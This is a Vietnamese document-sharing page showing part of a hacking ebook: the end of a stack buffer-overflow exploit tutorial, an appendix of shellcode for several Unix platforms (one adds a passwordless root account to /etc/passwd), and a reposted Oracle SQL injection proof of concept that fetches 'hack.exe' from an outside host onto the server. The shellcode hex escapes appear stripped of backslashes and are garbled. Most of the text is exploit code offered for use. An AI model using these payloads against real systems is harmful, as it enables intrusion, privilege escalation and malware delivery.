1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 114 potx

7 252 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 7
Dung lượng 78 KB

Nội dung

| ebp 2 | | + + | | | | | buffer[] của | | | vulnerable | < / | | + + Chúng ta cần làm tràn buffer[] của vulnerable để return addr 2 trỏ đến đâu đó trong buffer[]. Cũng như ví dụ 1- overflow.c(bạn hãy xem lại thật kĩ ví dụ 1), chúng ta sẽ tạo một vùng nhớ trên heap: if (!(buffer=malloc(bsize))) { printf("Khong the cap phat bo nho.n"); exit(-1); } Bây giờ lắp đầy buffer bằng địa chỉ trở về mà chúng ta đã tính được: ptr=buffer; addr_ptr=(long *)ptr; for (i=0;i *(addr_ptr++)=ret; Tiếp theo chúng ta sẽ lắp đầy 1/2 buffer bằng NOPs for (i=0;i buffer[i]=NOP; Sau đó, chúng ta đặt shellcode vào giữa NOPs ptr=buffer+((bsize/2)-(strlen(shellcode)/2)); for (i=0;i *(ptr++)=shellcode[i]; Cuối cùng đặt '' vào buffer để hàm strcpy() trong vulnerable biết đã hết data cần copy. buffer[bsize-1]=0; Tiến hành làm tràn bộ đệm của vulnerable, bạn sẽ có được shell lệnh do vulnerable spawn. execl("./vulnerable","vulnerable",buffer,0); Quan sát stack, buffer[] của vulnerable và return addr 2 sau khi tràn bộ đệm sẽ có dạng như sau: + + |return addr2| + + | | ebp 2 | | + + | | | | | nop | | | | | | shellcode | | | | | | nop | | | nop | < / | nop | | | + + Chúng ta hi vọng rằng return addr 2 sẽ trỏ đến 1 nop trước shellcode. Các câu lệnh NOPs sẽ không làm gì hết, đến khi gặp shellcode, shellcode sẽ đổ shell lệnh cho chúng ta(bạn hãy xem lại phần "Hình dung cách đặt shellcode trên stack). Phụ lục Các loại shellcode BSDi char code[] = "xebx57x5ex31xdbx83xc3x08x83xc3x02x88x5e" "x26x31xdbx83xc3x23x83xc3x23x88x5exa8x31" "xdbx83xc3x26x83xc3x30x88x5exc2x31xc0x88" "x46x0bx89xf3x83xc0x05x31xc9x83xc1x01x31" "xd2xcdx80x89xc3x31xc0x83xc0x04x31xd2x88" "x56x27x89xf1x83xc1x0cx83xc2x1bxcdx80x31" "xc0x83xc0x06xcdx80x31xc0x83xc0x01xcdx80" "BIN/SH"; FreeBSD char code[]= "xebx37x5ex31xc0x88x46xfax89x46xf5x89x36x89x76" "x04x89x76x08x83x06x10x83x46x04x18x83x46x08x1b" "x89x46x0cx88x46x17x88x46x1ax88x46x1dx50x56xff" "x36xb0x3bx50x90x9ax01x01x01x01x07x07xe8xc4xff" "xffxffx02x02x02x02x02x02x02x02x02x02x02x02x02" "x02x02x02/bin/sh c.sh"; Replace .sh with .anycommand Linux x86 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; OpenBSD OpenBSD shellcode that adds an unpassworded root login "w00w00" to /etc/passwd Courtesy of w00w00. (Changed from /tmp/passwd to /etc/passwd give kiddies a chance ;) char shell[]= "xebx2bx5ex31xc0x88x46x0b" "x88x46x29x50xb0x09x50x31" "xc0x56x50xb0x05xcdx80x89" "xc3x6ax1dx8dx46x0cx50x53" "x50x31xc0xb0x04xcdx80x31" "xc0xb0x01xcdx80xe8xd0xff" "xffxffx2fx65x74x63x2fx70" "x61x73x73x77x64x30x77x30" "x30x77x30x30x3ax3ax30x3a" "x30x3ax77x30x30x77x30x30" "x3ax2fx3ax2fx62x69x6ex2f" "x73x68x0ax30xffxffxffxff" "xffxffxffxffxffxffxffxff" "xffxffxffxffxffxffxffxff"; Solaris / Sparc char c0de[] = /* setreuid() */ "x82x10x20xca" /* mov 0xca, %g1 */ "x92x1ax40x09" /* xor %o1, %o1, %o1 */ "x90x0ax40x09" /* and %o1, %o1, %o0 */ "x91xd0x20x08" /* ta 8 */ "x2dx0bxd8x9a" /* sethi $0xbd89a, %l6 */ "xacx15xa1x6e" /* or %l6, 0x16e, %l6 */ "x2fx0bxdcxda" /* sethi $0xbdcda, %l7 */ "x90x0bx80x0e" /* and %sp, %sp, %o0 */ "x92x03xa0x08" /* add %sp, 8, %o1 */ "x94x1ax80x0a" /* xor %o2, %o2, %o2 */ "x9cx03xa0x10" /* add %sp, 0x10, %sp */ "xecx3bxbfxf0" /* std %l6, [%sp - 0x10] */ "xdcx23xbfxf8" /* st %sp, [%sp - 0x08] */ "xc0x23xbfxfc" /* st %g0, [%sp - 0x04] */ "x82x10x20x3b" /* mov $0x3b, %g1 */ "x91xd0x20x08" /* ta 8 Solaris / x86 char c0de[] = "xebx0a" /* jmp initcall */ "x9ax01x02x03x5cx07x04" /* lcall */ "xc3" /* ret */ "xebx05" /* jmp setuidcode */ "xe8xf9xffxffxff" /* call jmpz */ "x5e" /* popl %esi */ "x29xc0" /* subl %eax, %eax */ "x88x46xf7" /* movb %al, 0xfffffff7(%esi) */ "x89x46xf2" /* movl %eax, 0xfffffff2(%esi) */ "x50" /* pushl %eax */ "xb0x8d" /* movb $0x8d, %al */ "xe8xe0xffxffxff" /* call initlcall */ "x29xc0" /* subl %eax, %eax */ "x50" /* pushl %eax */ "xb0x17" /* movb $0x17, %al */ "xe8xd6xffxffxff" /* call initlcall */ "xebx1f" /* jmp callz */ "x5e" /* popl %esi */ "x8dx1e" /* leal (%esi), %ebx */ "x89x5ex0b" /* movl %ebx, 0x0b(%esi) */ "x29xc0" /* subl %eax, %eax */ "x88x46x19" /* movb %al, 0x19(%esi) */ "x89x46x14" /* movl %eax, 0x14(%esi) */ "x89x46x0f" /* movl %eax, 0x0f(%esi) */ "x89x46x07" /* movl %eax, 0x07(%esi) */ "xb0x3b" /* movb $0x3b, %al */ "x8dx4ex0b" /* leal 0x0b(%esi), %ecx */ "x51" /* pushl %ecx */ "x51" /* pushl %ecx */ "x53" /* pushl %ebx */ "x50" /* pushl %eax */ "xebx18" /* jmp lcall */ "xe8xdcxffxffxff" /* call start */ "x2fx62x69x6ex2fx73x68" /* /bin/sh */ "x01x01x01x01x02x02x02x02x03x03x03x03" "x9ax04x04x04x04x07x04"; /* lcall */ Công cụ tạo shellcode "Hellkit" Hellkit là một công cụ dùng tạo shellcode cho Linux rất dễ dùng. Hellkit rất đa năng, đặc biệt Hellkit còn cho phép tạo shellcode có kích thước lên đến 65535 bytes! Tài liệu tham khảo "Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One "Advanced buffer overflow exploits" - Taeho Oh Do hiểu biết còn nhiều hạn chế nên bài viết này không tránh khỏi những thiếu xót, rất mong nhận được sự đóng góp, giúp đỡ của các bạn để bài viết được hoàn thiện hơn. Thanx, đt. Vicki's real fan! Tác giả: apache Uploading a file with SQL Injection Kiếm được cái này anh em vào xem thế nào Trích: /* Advanced SQL Injection in Oracle databases By Esteban Martinez Fayo esteban>at<argeniss.com Proof of concept exploit for the SQL injection vulnerability in procedure DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION of Oracle Database Server version 10 Release 1. Uploading a file with SQL Injection */ CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2 authid current_user as pragma autonomous_transaction; SqlCommand VARCHAR2(2048); BEGIN SqlCommand := ' CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS import java.lang.*; import java.io.*; public class FileUpload { public static void fileUpload(String myFile, String url) throws Exception { File binaryFile = new File(myFile); FileOutputStream outStream = new FileOutputStream(binaryFile); java.net.URL u = new java.net.URL(url); java.net.URLConnection uc = u.openConnection(); InputStream is = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (is)); byte buffer[] = new byte[1024]; int length = -1; while ((length = is.read(buffer)) != -1) { outStream.write(buffer, 0, length); outStream.flush(); } is.close(); outStream.close(); } };'; execute immediate SqlCommand; SqlCommand := ' CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2) AS LANGUAGE JAVA NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';'; execute immediate SqlCommand; execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT'; commit; Must do a commit return ''; Must return a value END; / SET SERVEROUTPUT ON / CALL dbms_java.set_output(1999); / EXEC DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION ('''||SCOTT.SQLI()||'''); / Call the procedure created in the SQL Injection EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); . procedure created in the SQL Injection EXEC sys.proc_fileupload ('c:hack.exe', 'http://hackersite/hack.exe');

Ngày đăng: 04/07/2014, 11:20

TỪ KHÓA LIÊN QUAN